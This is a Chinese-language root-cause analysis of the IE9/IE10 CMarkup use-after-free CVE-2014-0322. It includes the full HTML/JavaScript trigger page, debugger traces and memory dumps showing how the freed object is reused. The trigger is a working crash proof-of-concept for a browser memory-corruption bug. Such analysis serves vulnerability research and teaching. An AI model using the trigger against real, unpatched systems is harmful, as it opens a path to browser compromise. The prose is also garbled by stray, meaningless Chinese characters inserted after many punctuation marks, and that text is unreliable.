漏洞概述
該漏洞是一個 CMarkup 對象的 UAF惧浴,其中CMarkup 指針殘留在寄存器中百揭。
關(guān)于這個漏洞爽哎,網(wǎng)上其實已經(jīng)有很多分析文章,但是分析工作基本上都只是停留在表面器一,文章作者更多的著眼于漏洞的利用方法上课锌,并沒有過多的分析漏洞的根本原因,這里在三年之后回過頭來仔細的分析一下漏洞產(chǎn)生的內(nèi)在原理祈秕。
漏洞樣本
<!--http://blog.csdn.net/tony_whu/article/details/19335801-->
<html>
<head id="headId">
<title>main page</title>
<script>
function fun()
{
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement('SELECT');
c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>
漏洞分析
首先閱讀漏洞樣本渺贤,樣本邏輯大致為
- 獲取頁面中的script標(biāo)簽
- 為其設(shè)置事件響應(yīng) onpropertychange ,此時會第一次觸發(fā)響應(yīng)函數(shù) fun
- 使用 appendChild 為其添加子節(jié)點请毛,此時會第二次觸發(fā)響應(yīng)函數(shù) fun
這里選用 script 標(biāo)簽是由于其特殊性:script 的 appendChild
DOM 操作會修改其 text 屬性志鞍,從而觸發(fā) onpropertychange 事件。
測試環(huán)境為 win8 IE10方仿,在瀏覽器中打開樣本固棚,程序崩潰,崩潰點及調(diào)用棧如下
0:005> r
eax=00000000 ebx=0e146fa0 ecx=77b13c18 edx=00731078 esi=0fe74cc0 edi=0779ef50
eip=6875da85 esp=0455b260 ebp=0455b2c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6875da85 ff4678 inc dword ptr [esi+78h] ds:0023:0fe74d38=????????
0:005> kb
ChildEBP RetAddr Args to Child
0455b2c8 6875e1f1 0fe74cc0 0779ef50 0e146fa0 MSHTML!CMarkup::NotifyElementEnterTree+0x266
0455b30c 6875e065 0e146fa0 0779ef50 0fd54fc4 MSHTML!CMarkup::InsertSingleElement+0x169
0455b3ec 6875ddaa 0fe74cc0 0779ef50 0455b438 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0455b410 6875dd6c 0779ef50 0455b438 0455b444 MSHTML!CMarkup::InsertElementInternal+0x2e
0455b450 6875de09 0779ef50 0455b548 0455b548 MSHTML!CDoc::InsertElement+0x9c
0455b518 686f3c10 00000000 0455b548 0c27cf40 MSHTML!InsertDOMNodeHelper+0x454
0455b590 686f390c 0c27cf40 0779ef50 00000000 MSHTML!CElement::InsertBeforeHelper+0x2a8
0455b5f4 686f402c 00000000 00000003 0a112e10 MSHTML!CElement::InsertBeforeHelper+0xe4
0455b614 686f6f43 0779ef50 00000001 00000000 MSHTML!CElement::InsertBefore+0x36
0455b6a0 686f6e60 0a112e10 0455b6e0 00000002 MSHTML!CElement::Var_appendChild+0xc7
很明顯可以看到仙蚜,程序崩潰在執(zhí)行 appendChild
操作的流程中此洲,且崩潰原因是由于 esi 指針即傳入的第一個參數(shù)指向的位置非法導(dǎo)致的。esi 所指的地址空間為一個 CMarkup 對象(這里較簡單委粉,且網(wǎng)上分析問中均有藐視呜师,因此不再贅述)
CMarkup 對象在 IE 中可以看作是 MarkupService 中的 MarkupContainer,其作用是用來囊括一系列的 DOM 操作贾节,保證對 DOM 的流操作在其范圍內(nèi)進行汁汗。(Markup 和 CMarkup 對象)
第一次 onpropertychange
回到頁面中來,我們首先在 this.outerHTML = this.outerHTML
語句上下斷點栗涂,觀察他的執(zhí)行情況知牌,其內(nèi)部實現(xiàn)是調(diào)用函數(shù) MSHTML!CElement::put_outerHTML
,在此處下斷點重新運行程序戴差,程序會在函數(shù)位置斷下兩次送爸,首先在第一次觸發(fā)斷點時查看函數(shù)調(diào)用棧
0:005> k
ChildEBP RetAddr
0465a878 68b92772 MSHTML!CElement::put_outerHTML
0465a8a0 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
0465a908 697ac6ba jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0465a928 697ac7aa jscript9!Js::JavascriptArray::GetSetter+0xcf
0465a968 697ac85b jscript9!Js::JavascriptOperators::CallSetter+0x6c
0465a9a8 697b0a80 jscript9!Js::JavascriptOperators::SetProperty+0x178
0465a9d0 697b09da jscript9!Js::JavascriptOperators::OP_SetProperty+0x48
0465aa44 697b0953 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x1e8
0465abd8 69816492 jscript9!Js::InterpreterStackFrame::Process+0xfbf
0465ac14 69816445 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x3a
0465ada4 697836d9 jscript9!Js::InterpreterStackFrame::Process+0x3d20
0465aeb4 05e20fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0465aec0 6977f8e0 0x5e20fd9
0465af48 6977fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0465af60 6977fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0465afa8 6977f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0465afd4 6989f273 jscript9!ScriptSite::Execute+0x61
0465affc 698baaa3 jscript9!JavascriptDispatch::InvokeOnSelf+0xd6
0465b068 68a82bd6 jscript9!JavascriptDispatch::InvokeEx+0x1e5
0465b0bc 68a82ed9 MSHTML!CBase::InvokeDispatchWithThis+0xb9
0465b16c 686de94b MSHTML!CBase::InvokeEvent+0x2a2
0465b2e8 68a5cd68 MSHTML!CBase::FireEvent+0x12e
0465b480 68a5dfe3 MSHTML!CElement::FireEvent+0x266
0465b5c4 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
0465b5e8 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
0465b7a4 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
0465b7bc 68964b4f MSHTML!CScriptElement::OnPropertyChange+0x16
0465b7dc 68a58290 MSHTML!BASICPROPPARAMS::SetCodeProperty+0x83
0465b7f0 68964c3f MSHTML!PROPERTYDESC::HandleCodeProperty+0x5c
0465b814 68dcab28 MSHTML!CBase::put_VariantHelper+0x33
0465b858 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_onpropertychange+0x78
可以發(fā)現(xiàn)這里第一次調(diào)用是由于設(shè)置 onpropertychange 本身導(dǎo)致的铛嘱。跟進函數(shù)進一步觀察暖释,函數(shù)會將頁面中 script 標(biāo)簽的 outerHTML 內(nèi)容再次解析袭厂,重新創(chuàng)建一 ScriptElement 并重新插入當(dāng)前頁面的 DOM 流中,替換掉之前的 ScriptElement 球匕。
在 script 標(biāo)簽的創(chuàng)建位置 MSHTML!CScriptElement::CreateElement
下斷點纹磺。程序在初始解析頁面時會根據(jù)頁面內(nèi)容創(chuàng)建一 ScriptElement,我們稱之為 script_a亮曹,繼續(xù)運行程序橄杨,當(dāng)執(zhí)行 this.outerHTML = this.outerHTML
時會再次斷在該位置,創(chuàng)建一個新的ScriptElement 我們稱之為 script_b ≌肇裕現(xiàn)在開始觀察 script_a 和 script_b 與頁面 DOM 流的位置情況式矫。
<small>_這里先簡要說明一下 IE 10 中 DOM 的結(jié)構(gòu),IE 10 中的 DOM 仍是以流結(jié)構(gòu)來構(gòu)建役耕,用 CTreeNode 表示節(jié)點在 DOM 流中的位置采转,節(jié)點對象偏移 0x1C 位置指向的是其 CTreeNode 對象。CTreeNode 對象中使用兩個 CTreePos 分別指向 DOM 流中節(jié)點的頭標(biāo)簽位置(+0xC tpBegin)和尾標(biāo)簽位置 (+0x24 tpEnd),CTreePos 中又分別用兩個指針指向當(dāng)前位置的左(+0x10 tpLeft)和右(+0x14 tp_Right) _
CTreeNode
+0xC tpBegin
+0x10 tpLeft
+0x14 tp_Right
+0x24 tpEnd
+0x10 tpLeft
+0x14 tp_Right
</small>
如下所示是 script_b 剛剛創(chuàng)建之后 script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000006 00000005 00000028
064fef50 00000000 00000000 077ea0c1 0b294fa0 // 0b294fa0 是 script_a 的 CTreeNode
064fef60 00000065 01220008 90000e02 00000004
// CTreeNode_a
0b294fa0 064fef40 0ae9afa0 71020065 00000571
0b294fb0 00000012 0b34cfac 0b1fedb0 066d8fd0
0b294fc0 0b11efd0 00000072 00000171 0b11efd0
0b294fd0 03ea4fd0 0b11efd0 0ae9afc4 00010005
0b294fe0 00010006 00050042 00000000 00000000
0b294ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x0b11efd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 a_tpBegin Text2 a_tpEnd head_tp_end
// script_b
0ae5cf40 688cdb38 00000001 00000003 00000008
0ae5cf50 00000000 00000000 00000000 00000000
0ae5cf60 00000000 00000000 00000000 00000000
可以明顯看出此時 script_a 處于頁面 DOM 流中瞬痘,而 script_b 并未處于流中 (其實這里 script_b 處于其解析過程中的 outerHTML 流中故慈,不過為了節(jié)省篇幅,且此處無影響因此略過)
運行程序直至其跳出 MSHTML!CElement::put_outerHTML
框全,再次觀察script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000003 00000003 00000018
064fef50 00000000 00000000 077ea0c0 00000000
064fef60 00000065 01200808 90000e02 00000004
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出此時頁面流發(fā)生了變化察绷,script_a 被 script_b 替換。此時 script_a 不再處于 DOM 流中津辩,而頁面中 b 對象仍然指向 script_a拆撼。
appendChild
繼續(xù)運行程序執(zhí)行 appendChild
操作,該操作為目標(biāo)節(jié)點在 DOM 流中添加子節(jié)點丹泉。此時進行操作的對象為 b.appendChild(c)
情萤,即 script_a 對象。但是由于此時 script_a 不再處于 DOM 流中摹恨,因此需要為此次操作新建一個 DOM 流筋岛,因此需要新建一 CMarkup 對象,我們稱之為 markup_tt晒哄。創(chuàng)建時函數(shù)調(diào)用棧如下
0:005> k
ChildEBP RetAddr
04c3bbe8 686f4e3d MSHTML!CDoc::CreateMarkupFromInfo+0x17f
04c3bc60 68965a66 MSHTML!CDoc::CreateMarkupWithElement+0x8a
04c3bce0 686f390c MSHTML!CElement::InsertBeforeHelper+0x36d
04c3bd44 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04c3bd64 686f6f43 MSHTML!CElement::InsertBefore+0x36
04c3bdf0 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04c3be20 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
運行程序直至其跳出 appendChild
睁宰,觀察 script_a 在流中的位置
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 0b344fa0
064fef60 00000065 01220008 10000e02 00000004
// CTreeNode_a
0b344fa0 064fef40 09e97fa0 71020065 00000171
0b344fb0 00000001 09e97fac 0a02ffd8 09e97fac
0b344fc0 0a02ffd8 00000062 00000000 09e97fc4
0b344fd0 08306fd8 08306fd8 09e97fc4 00000003
0b344fe0 00010006 00050042 00000000 00000000
0b344ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
此時 script_a 處在 markup_tt 所管理的流中;同時查看 script_b 所處流的位置
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出 appendChild 操作實際上并未對頁面 DOM 流產(chǎn)生影響寝凌。
那么此時柒傻,進程中同時存在兩個 DOM 流,一個是頁面渲染所產(chǎn)生的 “頁面DOM 流”较木,由頁面內(nèi)容索引可得红符;另一個是 appendChild 所產(chǎn)生的 “Append DOM 流”,由 js 對象 b 索引可得。且兩個 DOM 流之間不相互影響预侯。
第二次 onpropertychange
繼續(xù)運行程序至第二次 MSHTML!CElement::put_outerHTML
位置致开,查看調(diào)用棧
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d -----------------------------
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
......
04a8b62c 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
04a8b650 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
04a8b80c 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
04a8b824 68a2d2d7 MSHTML!CScriptElement::OnPropertyChange+0x16
04a8b898 688592e1 MSHTML!BASICPROPPARAMS::SetStringProperty+0x167
04a8b8bc 687f7017 MSHTML!CBase::put_StringHelper+0x5e
04a8b8dc 687f6fce MSHTML!CScriptElement::SetPropertyHelper+0x19
04a8b8fc 686299cb MSHTML!CScriptElement::OnTextChange+0x53
04a8b914 6875da03 MSHTML!CElement::HandleTextChange+0x3a -----------------------------
04a8b988 6875e1f1 MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
04a8b9cc 6875e065 MSHTML!CMarkup::InsertSingleElement+0x169
04a8baac 6875ddaa MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
04a8bad0 6875dd6c MSHTML!CMarkup::InsertElementInternal+0x2e
04a8bb10 6875de09 MSHTML!CDoc::InsertElement+0x9c
04a8bbd8 686f3c10 MSHTML!InsertDOMNodeHelper+0x454
04a8bc50 686f390c MSHTML!CElement::InsertBeforeHelper+0x2a8
04a8bcb4 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04a8bcd4 686f6f43 MSHTML!CElement::InsertBefore+0x36
04a8bd60 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04a8bd90 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
第二次調(diào)用是由于 appendChild
導(dǎo)致的 OnTextChange
觸發(fā),同樣第二次調(diào)用也會創(chuàng)建一個新的 ScriptElement 我們稱之為 script_c萎馅。這里同樣進行 DOM 流的替換操作双戳,此處替換的仍是 script_a。分別查看 script_a 糜芳、 script_b飒货、 script_c 在流中的情況
// script_a 不變
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
// script_b 不變
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
// script_c
0b310f40 688cdb38 00000001 00000000 00000008
0b310f50 00000000 00000000 00000000 00000000
0b310f60 00000065 00000000 00000000 00000000
在 markup_tt 上下硬件斷點,運行程序峭竣,此時程序?qū)趍arkup_tt 釋放處斷下塘辅,查看調(diào)用棧,發(fā)現(xiàn)程序仍處在 MSHTML!CElement::put_outerHTML
中
04a8a724 68a9e27b MSHTML!InjectHtmlStream+0x512
04a8a764 6862bd08 MSHTML!HandleHTMLInjection+0x82
04a8a858 6862bf39 MSHTML!CElement::InjectInternal+0x506
04a8a8cc 687b12d9 MSHTML!CElement::InjectTextOrHTML+0x1a4
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
再次查看 script_a 皆撩、 script_b莫辨、 script_c 在流中的情況與之前做比對
// script_b
不變
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 00000000
064fef60 00000065 01200808 10000e02 00000004
// script_c
0b310f40 688cdb38 00000003 00000003 00000008
0b310f50 00000000 00000000 00000000 0b242fa0
0b310f60 00000065 01220000 90000e00 00000004
// CTreeNode_c
0b242fa0 0b310f40 0b1b4fa0 70020065 00000061
0b242fb0 00000000 00000000 09e97fac 09e97fac
0b242fc0 07c58fd0 00000252 00000013 09e97fc4
0b242fd0 0a92bfc4 07c58fd0 09e97fc4 ffffffff
0b242fe0 ffffffff 00030002 00000000 00000000
0b242ff0 00000000 00000000 06680bf8 00000000
0x09e97fac - 0x0b242fac - 0x07c58fd0 - 0x0b242fc4 - 0x09e97fc4
markup_tt_root c_tpBegin Text1 c_tpEnd markup_tt_root
可以看出這里 markup_tt 所管理的 “AppendChild DOM 流”中 script_a 被 script_c 所替換,而 “頁面 DOM流”仍保持不變毅访。
我們可以注意到當(dāng)這個替換操作完成的時候沮榜,script_a 再次處于獨立狀態(tài)。此時喻粹,markup_tt 所管理的整個 DOM 流 都不會有 js 對象或者頁面對象訪問蟆融,換而言之,markup_tt 所管理的整個 DOM 流此時會被當(dāng)作是垃圾守呜。因此在函數(shù)退出時 markup_tt 的引用計數(shù)將會被設(shè)置為 0型酥, 對象被釋放。
而由于下層函數(shù) CMarkup::NotifyElementEnterTree
的調(diào)用上下文中還存有 markup_tt 的指針查乒,MSHTML!CElement::HandleTextChange
操作之后弥喉,還會對 markup_tt 進行訪問,因此再次訪問時程序崩潰!!!
另外說一點
在 CVE 官網(wǎng)上玛迄,我們可以看到 cve-2014-0322 只能在 IE9 由境、IE10 上觸發(fā)。因此筆者分別在 IE8 和 IE11 上也對漏洞樣本進行了分析蓖议,確實沒有產(chǎn)生崩潰虏杰,并發(fā)現(xiàn)了如下情況
- IE8 中不允許 script 標(biāo)簽進行 AppendChild 操作,且其他標(biāo)簽均無法使用 DOM 操作觸發(fā) onpropertychange
- IE11 中Node 對象不再提供 outerHTML 屬性的支持
- 使用Mutation事件響應(yīng)的方式勒虾,同樣可以導(dǎo)致 “AppendChild DOM 流” 的釋放纺阔,但在Mutation事件響應(yīng)結(jié)束之后,并不會再對 markup_tt 進行訪問修然。因此不會觸發(fā)漏洞
漏洞小節(jié)
這個漏洞的產(chǎn)生原因主要是由于笛钝,函數(shù)當(dāng)前域內(nèi)的 this 指針在其他函數(shù)域內(nèi)被釋放质况,且函數(shù)并未得到通知,因此仍照常使用 this 指針玻靡,導(dǎo)致崩潰拯杠。